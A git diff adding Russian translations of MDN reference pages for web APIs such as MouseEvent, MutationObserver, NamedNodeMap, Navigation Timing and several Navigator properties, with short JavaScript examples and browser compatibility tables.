+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСостояниеКомментарий
{{SpecName('CSSOM View','#dom-mouseevent-screenx', 'screenX')}}{{Spec2('CSSOM View')}}Переопределяет {{domxref("MouseEvent")}} из long в double.
{{SpecName('DOM3 Events','#widl-MouseEvent-screenX','MouseEvent.screenX')}}{{Spec2('DOM3 Events')}}Нет изменений ср. с {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.sceenX')}}{{Spec2('DOM2 Events')}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.MouseEvent.screenX")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/mouseevent/shiftkey/index.html b/files/ru/web/api/mouseevent/shiftkey/index.html new file mode 100644 index 0000000000..81aebded0e --- /dev/null +++ b/files/ru/web/api/mouseevent/shiftkey/index.html @@ -0,0 +1,126 @@ +--- +title: MouseEvent.shiftKey +slug: Web/API/MouseEvent/shiftKey +translation_of: Web/API/MouseEvent/shiftKey +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.shiftKeyатрибут только для чтения , кторый указывает была ли нажата клваиша shift  . Возвращает (true) если нажата shift, (false) если нет.

+ +

Синтаксис

+ +
var shiftKeyPressed = instanceOfMouseEvent.shiftKey
+
+ +

Возвращаемое значение

+ +

Логический

+ +

Пример

+ +
<html>
+<head>
+<title>shiftKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>Нажмите на любую символьную клавишу удерживая или не удерживая клавишу SHIFT.<br />
+Вы также можете использовать клавишу SHIFT вместе с клавишей ALT.</p>
+</body>
+</html>
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-shiftKey','MouseEvent.shiftKey')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.shiftKey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотри также

+ + diff --git a/files/ru/web/api/mouseevent/which/index.html b/files/ru/web/api/mouseevent/which/index.html new file mode 100644 index 0000000000..83e4984abe --- /dev/null +++ b/files/ru/web/api/mouseevent/which/index.html @@ -0,0 +1,47 @@ +--- +title: MouseEvent.which +slug: Web/API/MouseEvent/which +tags: + - API + - "События\_DOM" +translation_of: Web/API/MouseEvent/which +--- +

{{APIRef("DOM Events")}}

+ +

{{Non-standard_header}}

+ +

MouseEvent.which это свойство только для чтения которое показывает какая именно кнопка мыши вызвала событие MouseEvent. Стандартная альтернатива этому свойству – {{ domxref("MouseEvent.button") }} и {{ domxref("MouseEvent.buttons") }}.

+ +

Синтаксис

+ +
var buttonPressed = instanceOfMouseEvent.which
+
+ +

Возвращаемое значение

+ +

Значения соответствующие кнопкам:

+ + + +

Для мыши настроенной для левшей порядок значений будет изменён. В этом случае значению 1 будет соответствовать правай кнопка, а 3 – левая.

+ +

Спецификация

+ +

Это свойство не является частью спецификации.

+ +

Совместимость с бразуерами

+ + + +

{{Compat("api.MouseEvent.which")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/mutationobserver/index.html b/files/ru/web/api/mutationobserver/index.html new file mode 100644 index 0000000000..61a16f69f0 --- /dev/null +++ b/files/ru/web/api/mutationobserver/index.html @@ -0,0 +1,176 @@ +--- +title: MutationObserver +slug: Web/API/MutationObserver +tags: + - API + - Advanced + - DOM + - DOM Reference + - NeedsContent + - NeedsUpdate + - Reference +translation_of: Web/API/MutationObserver +--- +

{{APIRef("DOM")}}

+ +

MutationObserver предоставляет возможность получать уведомления об изменении определённых DOM-элементов. MutationObserver является заменой Mutation Events, определённой в спецификации DOM3 Events.

+ +

Конструктор

+ +
+
{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}
+
Создает и возвращает новый MutationObserver, который вызовет определенную функцию обратного вызова при изменении в DOM.
+
+ +

Параметры

+ +
+
callback
+
Вызывается при каждом изменении DOM-элемента. Обзёрвер вызывает данную функцию с двумя аргументами. Первым аргументом является массив объектов MutationRecord, вторым аргументом является экземпляр MutationObserver.
+
+ +

Методы экземпляра

+ +
+
{{domxref("MutationObserver.disconnect", "disconnect()")}}
+
Прекращает получение уведомлений об изменении DOM-элемента экземпляром MutationObserver, до того момента пока не будет вызван метод observe().
+
{{domxref("MutationObserver.observe", "observe()")}}
+
Подписывает экземпляр MutationObserver на получение уведомлений о манипуляциях с DOM-элементом.
+
{{domxref("MutationObserver.takeRecords", "takeRecords()")}}
+
Возвращает текущий {{jsxref("Array")}} очереди экземпляра MutationObserver, затем очищает её.
+
+ +

MutationObserverInit

+ +

MutationObserverInit — объект, который может содержать следующие свойства:

+ +
Примечание: Так или иначе необходимо установить true для одного из следующих cвойств: childList, attributes, characterData. В противном случае будет вызвана ошибка "An invalid or illegal string was specified"
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyDescription
childList +

true, если необходимо наблюдать за добавлением или удалением дочерних элементов (Включая текстовые узлы (text nodes))

+
attributes +

true, если необходимо наблюдать за изменениями атрибутов целевого элемента.

+
characterData +

true, если необходимо наблюдать за изменениями значения текстового содержимого целевого узла (текстовых узлов дочернего элемента).

+
subtree +

true, если необходимо наблюдать за потомками целевого элемента. 

+
attributeOldValue +

true, если необходимо возвращать предыдущее значение атрибута. 

+
characterDataOldValue +

true, если необходимо возвращать предыдущее значение Data атрибута. 

+
attributeFilter +

Устанавливает массив названий атрибутов (без указания пространства имен), если требуется наблюдать за изменениями конкретных атрибутов. 

+
+ +

Mutation Observer & customize resize event listener & demo

+ +

https://codepen.io/webgeeker/full/YjrZgg/

+ +

Пример использования

+ +

Приведённый ниже пример взят из этого блога.

+ +
// Выбираем целевой элемент
+var target = document.getElementById('some-id');
+
+// Конфигурация observer (за какими изменениями наблюдать)
+const config = {
+    attributes: true,
+    childList: true,
+    subtree: true
+};
+
+// Функция обратного вызова при срабатывании мутации
+const callback = function(mutationsList, observer) {
+    for (let mutation of mutationsList) {
+        if (mutation.type === 'childList') {
+            console.log('A child node has been added or removed.');
+        } else if (mutation.type === 'attributes') {
+            console.log('The ' + mutation.attributeName + ' attribute was modified.');
+        }
+    }
+};
+
+// Создаем экземпляр наблюдателя с указанной функцией обратного вызова
+const observer = new MutationObserver(callback);
+
+// Начинаем наблюдение за настроенными изменениями целевого элемента
+observer.observe(target, config);
+
+// Позже можно остановить наблюдение
+observer.disconnect();
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM4') }}
+ +

Поддержка браузерами

+ +

{{Compat("api.MutationObserver")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/namednodemap/getnameditem/index.html b/files/ru/web/api/namednodemap/getnameditem/index.html new file mode 100644 index 0000000000..26cc894bf8 --- /dev/null +++ b/files/ru/web/api/namednodemap/getnameditem/index.html @@ -0,0 +1,24 @@ +--- +title: NamedNodeMap.getNamedItem() +slug: Web/API/NamedNodeMap/getNamedItem +translation_of: Web/API/NamedNodeMap/getNamedItem +--- +
{{APIRef("DOM")}}
+ +

Метод getNamedItem() интерфейса {{domxref ("NamedNodeMap")}} возвращает значение {{domxref ("Attr")}}, соответствующее заданному имени, или значение null, если соответствующий атрибут отсутствует.

+ +

Синтаксис

+ +
myAttr = attrs.getNamedItem(name)
+ +

Parameters

+ + + +

Browser compatibility

+ + + +

{{Compat("api.NamedNodeMap.getNamedItem")}}

diff --git a/files/ru/web/api/namednodemap/index.html b/files/ru/web/api/namednodemap/index.html new file mode 100644 index 0000000000..8ad92f6fa1 --- /dev/null +++ b/files/ru/web/api/namednodemap/index.html @@ -0,0 +1,88 @@ +--- +title: NamedNodeMap +slug: Web/API/NamedNodeMap +translation_of: Web/API/NamedNodeMap +--- +
{{APIRef("DOM")}}
+ +

Интерфейс NamedNodeMap представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри NamedNodeMap не находятся в каком-либо определенном порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.

+ +

Объект NamedNodeMap является "живым" и, таким образом, будет автоматически обновляться, если изменения будут внесены в его содержимое внутри или в другом месте.

+ +
+

Хотя данный интерфейс и  назвается NamedNodeMap , он не имеет ничего общего с объектом {{domxref("Node")}}, но до сих пор связан с объектом {{domxref(" Attr ")}}, который изначально был специализированным классом {{domxref("Node")}}.

+
+ +

Свойства

+ +

Этот интерфейс не наследует никаких свойств.

+ +
+
{{domxref("NamedNodeMap.length")}} {{ReadOnlyInline}}
+
Возвращает количество объектов внутри объекта NamedNodeMap.
+
+ +

Методы

+ +

Этот интерфейс не наследует никакого метода.

+ +
+
{{domxref("NamedNodeMap.getNamedItem()")}}
+
Возвращает значение {{domxref ("Attr")}}, соответствующее данному имени.
+
{{domxref("NamedNodeMap.setNamedItem()")}}
+
Заменяет или добавляет {{domxref ("Attr")}}, обозначенный в объекте NamedNodeMap  заданным именем.
+
{{domxref("NamedNodeMap.removeNamedItem()")}}
+
Удаляет {{domxref ("Attr")}}, идентифицированный объектом NamedNodeMap .
+
{{domxref("NamedNodeMap.item()")}}
+
Возвращает значение {{domxref ("Attr")}} по заданному индексу или null, если индекс больше или равен числу узлов.
+
{{domxref("NamedNodeMap.getNamedItemNS()")}}
+
Возвращает {{domxref ("Attr")}}, идентифицированный пространством имен и связанным локальным именем.
+
{{domxref("NamedNodeMap.setNamedItemNS()")}}
+
Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имен и связанным локальным именем.
+
{{domxref("NamedNodeMap.removeNamedItemNS()")}}
+
Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имен и связанным локальным именем.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-namednodemap', 'NamedNodeMap')}}{{Spec2('DOM WHATWG')}}Имеет дело с {{domxref("Attr")}} вместо {{domxref("Node")}}
{{SpecName('DOM3 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}{{Spec2('DOM2 Core')}}Added getNamedItemNS(), setNamedItemNS() and removeNamedItemNS()
{{SpecName('DOM1', 'core.html#ID-1780488922', 'NamedNodeMap')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NamedNodeMap")}}

+ +

See also

+ + diff --git a/files/ru/web/api/navigation_timing_api/index.html b/files/ru/web/api/navigation_timing_api/index.html new file mode 100644 index 0000000000..81e84e72e6 --- /dev/null +++ b/files/ru/web/api/navigation_timing_api/index.html @@ -0,0 +1,157 @@ +--- +title: Navigation Timing API +slug: Web/API/Navigation_timing_API +tags: + - API + - Client side performance + - Navigation Timing + - Performance + - Производительность +translation_of: Web/API/Navigation_timing_API +--- +

{{DefaultAPISidebar("Navigation Timing")}}

+ +

Navigation Timing API предоставляет данные, которые могут быть использованы для измерения производительности веб-сайта. В отличие от других механизмов на основе JavaScript, которые были использованы с той же целью, этот API может предоставить полную и точную информацию о задержке в получении данных. 

+ +

Следующий пример демонстрирует как можно измерить время загрузки страницы с точки зрения пользователя:

+ +
function onLoad() {
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
+}
+
+ +

Есть много событий, измеренных в миллисекундах, которые могут быть доступны через {{domxref("PerformanceTiming")}} интерфейс. Список событий в хронологическом порядке:

+ + + +

Объект window.performance.navigation хранит два атрибута, которые могут быть использованы, для определения была ли страница загружена в последствии перенаправления, использования навигации по страницам в браузере или обычной загрузки по ссылке.

+ +

window.performance.navigation.type:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФлагЗначениеОписание
TYPE_NAVIGATE0Навигация началась после нажатия на ссылку, ввода URL в адресную строку браузера, подтверждения формы или после выполнения действия, отличного от действий описанных в флагах TYPE_RELOAD и TYPE_BACK_FORWARD.
TYPE_RELOAD1Навигация путем перегрузки страницы или выполнения метода location.reload().
TYPE_BACK_FORWARD2Навигация по истории переходов по страницам в браузере.
TYPE_UNDEFINED255Любой другой тип навигации не описанный выше.
+ +

window.performance.navigation.redirectCount отображает количество переадресаций до последней страницы, если они происходили.

+ +

Navigation Timing API может быть использован для сбора данных о производительности на стороне клиента при отправке ассинхронных запросов на сервер, а также для получения данных, которые нельзя получить с помощью других средств, таких как время выгрузки предыдущей страницы, время DNS запроса, время полной загрузки страницы.

+ +

Примеры

+ +

Вычисление времени полной загрузки страницы:

+ +
var perfData = window.performance.timing;
+var pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;
+
+ +

Вычисление времени выполнения запроса:

+ +
var connectTime = perfData.responseEnd - perfData.requestStart;
+ +

Ссылки

+ + + +

Совместимость с браузерами

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Основная поддержка6.0{{ CompatGeckoDesktop("7") }}915.08
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Основная поддержка4.0{{ CompatGeckoDesktop("15") }}915.08
+
diff --git a/files/ru/web/api/navigator/battery/index.html b/files/ru/web/api/navigator/battery/index.html new file mode 100644 index 0000000000..07f8e7f84b --- /dev/null +++ b/files/ru/web/api/navigator/battery/index.html @@ -0,0 +1,33 @@ +--- +title: Navigator.battery +slug: Web/API/Navigator/battery +translation_of: Web/API/Navigator/battery +--- +

{{ ApiRef("Battery API") }}{{deprecated_header}}

+ +

Свойство battery только для чтения  возвращающее {{DOMxRef("BatteryManager")}} которое дает информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, которые вы можете обрабатывать и контролируя состояние батареи.Оно реализует API состояния батареи; смотрите документацию для получения дополнительной информации, руководство по использованию API и примеры кода.

+ +
+

Свойство battery устарело и было заменено {{DOMxRef("Navigator.getBattery()")}}. Метод возвращает {{DOMxRef("Promise")}}. Хотя оно частично поддерживается.

+
+ +

Синтаксис

+ +
var battery = navigator.battery;
+ +

Спецификации

+ +

{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}

+ +

Доступность в браузере

+ +

{{Compat("api.Navigator.battery")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/cookieenabled/index.html b/files/ru/web/api/navigator/cookieenabled/index.html new file mode 100644 index 0000000000..cdf99a435b --- /dev/null +++ b/files/ru/web/api/navigator/cookieenabled/index.html @@ -0,0 +1,81 @@ +--- +title: Navigator.cookieEnabled +slug: Web/API/Navigator/cookieEnabled +translation_of: Web/API/Navigator/cookieEnabled +--- +

{{ ApiRef("HTML DOM") }}

+ +

Возвращает логическое значение (Boolean), показывающее включены ли куки или нет.(свойство только для чтения.

+ +

Синтаксис

+ +
var cookieEnabled = navigator.cookieEnabled;
+
+ + + +

Пример

+ +
if (!navigator.cookieEnabled) {
+  // пусть пользователь знает, что включенные куки делают страницу более полезной.
+
+ +

Совместимость в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержкаYes{{ CompatGeckoDesktop(1.0) }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile(1.0) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Заметки для Gecko

+ +

До Gecko 8.0 {{ geckoRelease("8.0") }}, window.navigator.cookieEnabled сообщало неправильный результат, если положение исключения было в месте на странице на котором была выполннена проверка. Это было исправлено.

+ +

Спецификация

+ +

HTML WHATWG

diff --git a/files/ru/web/api/navigator/donottrack/index.html b/files/ru/web/api/navigator/donottrack/index.html new file mode 100644 index 0000000000..54f7b8f9e9 --- /dev/null +++ b/files/ru/web/api/navigator/donottrack/index.html @@ -0,0 +1,89 @@ +--- +title: Navigator.doNotTrack +slug: Web/API/Navigator/doNotTrack +translation_of: Web/API/Navigator/doNotTrack +--- +

{{ ApiRef("HTML DOM") }}{{SeeCompatTable}}

+ +

Возвращает настройки пользователя  do-not-track. Будет "yes" если пользователь попросил не отслеживать его на веб-сайтах, контенте, рекламе.

+ +

Синтаксис

+ +
dnt = navigator.doNotTrack;
+
+ +

Значение отражает , что в заголовке do-not-track header, т.е. значения {"1", "0", "unspecified" }.Примечание: до  Gecko 32, Gecko были использованы значения { "yes", "no", "unspecified"} (bug 887703).

+ +

Пример

+ +
dump(window.navigator.doNotTrack);
+// prints "1" if DNT is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified"
+
+ +

Спецификация

+ +

Tracking Preference Expression (Working проект) основан на более ранней версии этой спецификации, где navigator.doNotTrack это значение  посланое заголовком do-not-track.

+ +

Смотрите также

+ + + +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка23{{ CompatGeckoDesktop("9.0") }}9125.1 on OS X 10.7
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ + + +

 

diff --git a/files/ru/web/api/navigator/geolocation/index.html b/files/ru/web/api/navigator/geolocation/index.html new file mode 100644 index 0000000000..5bc748ee47 --- /dev/null +++ b/files/ru/web/api/navigator/geolocation/index.html @@ -0,0 +1,96 @@ +--- +title: Navigator.geolocation +slug: Web/API/Navigator/geolocation +translation_of: Web/API/Navigator/geolocation +--- +

{{ APIRef("Geolocation API") }}

+ +

Свойство Navigator.geolocation только для чтения, возвращающие объект {{domxref("Geolocation")}}, который дает веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.

+ +
+

Примечание: По соображениям безопасности, когда веб-страница пытается получить доступ к информации о местоположении, пользователь получает уведомление с просьбой дать разрешение. Помните, что каждый браузер имеет свои собственные правила и методы для запроса этого разрешения.

+
+ +

Синтаксис

+ +
geo = navigator.geolocation
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('Geolocation', '#navi-geo', 'Navigator.geolocation')}}{{Spec2('Geolocation')}}Изначальная спецификация
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0		5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/getdatastores/index.html b/files/ru/web/api/navigator/getdatastores/index.html new file mode 100644 index 0000000000..5c3b1d7fab --- /dev/null +++ b/files/ru/web/api/navigator/getdatastores/index.html @@ -0,0 +1,58 @@ +--- +title: Navigator.getDataStores() +slug: Web/API/Navigator/getDataStores +translation_of: Archive/B2G_OS/API/Navigator/getDataStores +--- +
{{APIRef("Data Store API")}} {{ non-standard_header }} {{ B2GOnlyHeader2('certified') }}
+ +

Описание

+ +

Метод navigator.getDataStores() предоставляющий доступ к списку Data Store API хранилищ данных доступных на устройстве.

+ +

Синтаксис

+ +
navigator.getDataStores('contacts').then(function(stores) {
+  // сделать что-либо с массивом хранилищ данных в хранилище.
+});
+ +

Параметры

+ +
+
storeName
+
Имя хранилища данных которое вы хотите вернуть. Возвращается массив, потому что может быть несколько хранилищ данных с таким же именем.
+
+ +

Возврат

+ +

Объект {{jsxref("Promise")}} который будет связан с массивом объекта {{domxref("DataStore") }}.

+ +

Пример

+ +
navigator.getDataStores('contacts').then(function(stores) {
+  stores[0].getLength().then(function(storeLength) {
+    if(storeLength == 0) {
+      for(i = 0; i < contactsInit.length; i++) {
+        addContact(stores[0],contactsInit[i]);
+      };
+    } else {
+      var cursor = stores[0].sync();
+      runNextTask(cursor);
+    }
+  });
+});
+ +

Спецификации

+ +

{{page("/en-US/docs/Web/API/Data_Store_API","Specifications")}}

+ +

Совместимость с браузерами

+ +

{{page("/en-US/docs/Web/API/Data_Store_API","Browser_compatibility")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/getgamepads/index.html b/files/ru/web/api/navigator/getgamepads/index.html new file mode 100644 index 0000000000..bc5200cbe1 --- /dev/null +++ b/files/ru/web/api/navigator/getgamepads/index.html @@ -0,0 +1,102 @@ +--- +title: Navigator.getGamepads() +slug: Web/API/Navigator/getGamepads +translation_of: Web/API/Navigator/getGamepads +--- +

{{APIRef("Gamepad API")}}{{SeeCompatTable}}

+ +

Navigator.getGamepads() метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключенному к устройству.

+ +

Синтаксис

+ +
 var arrayGP = navigator.getGamepads();
+ +

Пример

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[0];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Gamepad', '', 'The Gamepad API specification')}}{{Spec2('Gamepad')}}Initial definition.
+ +

Совместимость браузеров

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support +

21.0 {{ property_prefix("webkit") }}
+ 35.0

+ 		{{ CompatGeckoDesktop("29.0") }} [1]{{ CompatNo() }} +

15.0 {{ property_prefix("webkit") }}
+ 22.0

+ 		{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
General support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

[1] Was available behind a preference since Firefox 24.

+ +

See also

+ + diff --git a/files/ru/web/api/navigator/getusermedia/index.html b/files/ru/web/api/navigator/getusermedia/index.html new file mode 100644 index 0000000000..5a8072c8b0 --- /dev/null +++ b/files/ru/web/api/navigator/getusermedia/index.html @@ -0,0 +1,107 @@ +--- +title: Navigator.getUserMedia() +slug: Web/API/Navigator/getUserMedia +translation_of: Web/API/Navigator/getUserMedia +--- +
{{APIRef("Media Capture and Streams")}}{{deprecated_header}}
+ +

The deprecated Navigator.getUserMedia() method prompts the user for permission to use up to one video input device (such as a camera or shared screen) and up to one audio input device (such as a microphone) as the source for a {{domxref("MediaStream")}}.

+ +

If permission is granted, a MediaStream whose video and/or audio tracks come from those devices is delivered to the specified success callback. If permission is denied, no compatible input devices exist, or any other error condition occurs, the error callback is executed with a {{domxref("MediaStreamError")}} object describing what went wrong. If the user instead doesn't make a choice at all, neither callback is executed.

+ +
+

Это устаревший метод. Вместо этого используйте более новую версию {{domxref ("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia ()")}}. Хотя технически не рекомендуется, эта старая версия обратного вызова помечена как таковая, поскольку спецификация настоятельно рекомендует использовать более новую версию, возвращающую обещание.

+
+ +

Синтаксис

+ +
navigator.getUserMedia(constraints, successCallback, errorCallback);
+ +

Параметры

+ +
+
constraints
+
{{domxref("MediaStreamConstraints")}} объект, определяющий типы запрашиваемых медиа, а также любые требования для каждого типа. Подробнее см. В разделе ограничений современного метода {{domxref ("MediaDevices.getUserMedia ()")}}, а также в статье Возможности, ограничения и настройки.
+
successCallback
+
Функция, которая вызывается при утверждении запроса на доступ к мультимедиа. Функция вызывается с одним параметром: объектом {{domxref ("MediaStream")}}, который содержит медиапоток. Затем обратный вызов может назначить поток желаемому объекту (например, элементу {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}), как показано в следующем примере: + 
function(stream) {
+   var video = document.querySelector('video');
+   video.srcObject = stream;
+   video.onloadedmetadata = function(e) {
+      // Do something with the video here.
+   };
+}
+
+
errorCallback
+
When the call fails, the function specified in the errorCallback is invokedwith a {{domxref("MediaStreamError")}} object as its sole argument; this object is is modeled on {{domxref("DOMException")}}. See {anch("Errors")}} below for a list of the errors which can occur.
+
+ +

Возвращающееся значение

+ +

{{domxref("undefined")}}.

+ +

Ошибки

+ +

{{page("/en-US/docs/Web/API/MediaDevices/getUserMedia", "Errors")}}

+ +

Примеры

+ +

Width and height (Ширина и высота)

+ +

Это пример использования getUserMedia() , включая код для работы с префиксами различных браузеров. Обратите внимание, что это устаревший способ сделать это: современные примеры см. В разделе «Примеры» в разделе {{domxref ("MediaDevices.getUserMedia ()")}}.

+ +
navigator.getUserMedia = navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia;
+
+if (navigator.getUserMedia) {
+   navigator.getUserMedia({ audio: true, video: { width: 1280, height: 720 } },
+      function(stream) {
+         var video = document.querySelector('video');
+         video.srcObject = stream;
+         video.onloadedmetadata = function(e) {
+           video.play();
+         };
+      },
+      function(err) {
+         console.log("The following error occurred: " + err.name);
+      }
+   );
+} else {
+   console.log("getUserMedia not supported");
+}
+
+ +

Разрешения

+ +

Чтобы использоватьgetUserMedia() в устанавливаемом приложении (например, приложении Firefox OS), вам необходимо указать одно или оба из следующих полей внутри файла манифеста:

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+ +

См. Разрешение: аудио-захват и разрешение: видео-захват для получения дополнительной информации.

+ +

Browser compatibility

+ +
+

New code should use {{domxref("Navigator.mediaDevices.getUserMedia()")}} instead.

+
+ + + +

{{Compat("api.Navigator.getUserMedia")}}

+ +

See also

+ + diff --git a/files/ru/web/api/navigator/getvrdisplays/index.html b/files/ru/web/api/navigator/getvrdisplays/index.html new file mode 100644 index 0000000000..4c37427910 --- /dev/null +++ b/files/ru/web/api/navigator/getvrdisplays/index.html @@ -0,0 +1,56 @@ +--- +title: Navigator.getVRDisplays() +slug: Web/API/Navigator/getVRDisplays +translation_of: Web/API/Navigator/getVRDisplays +--- +
{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}
+ +

Метод getVRDisplays() интерфейса {{domxref("Navigator")}} возвращает объект типа Promise, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключенных к компьютеру VR устройств.

+ +

Синтаксис

+ +
navigator.getVRDisplays().then(function(displays) {
+  //Тут можно что-то сделать с доступными VR устройствами
+});
+ +

Параметры

+ +

Нет.

+ +

Возвращаемое значение

+ +

Объект типа Promise, содержащий в случае успешного выполнения массив объектов {{domxref("VRDisplay")}}.

+ +

Примеры

+ +

{{page("/Web/API/VRDisplay", "Examples")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR', '#navigator-getvrdisplays-attribute', 'getVRDisplays()')}}{{Spec2('WebVR')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Navigator.getVRDisplays")}}

+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/navigator/id/index.html b/files/ru/web/api/navigator/id/index.html new file mode 100644 index 0000000000..ba98e02cf6 --- /dev/null +++ b/files/ru/web/api/navigator/id/index.html @@ -0,0 +1,20 @@ +--- +title: Navigator.id +slug: Web/API/Navigator/id +tags: + - DOM + - Reference + - Référence(2) +translation_of: Archive/Navigator-id +--- +
{{ ApiRef("Persona") }}
+ +

Summary

+ +

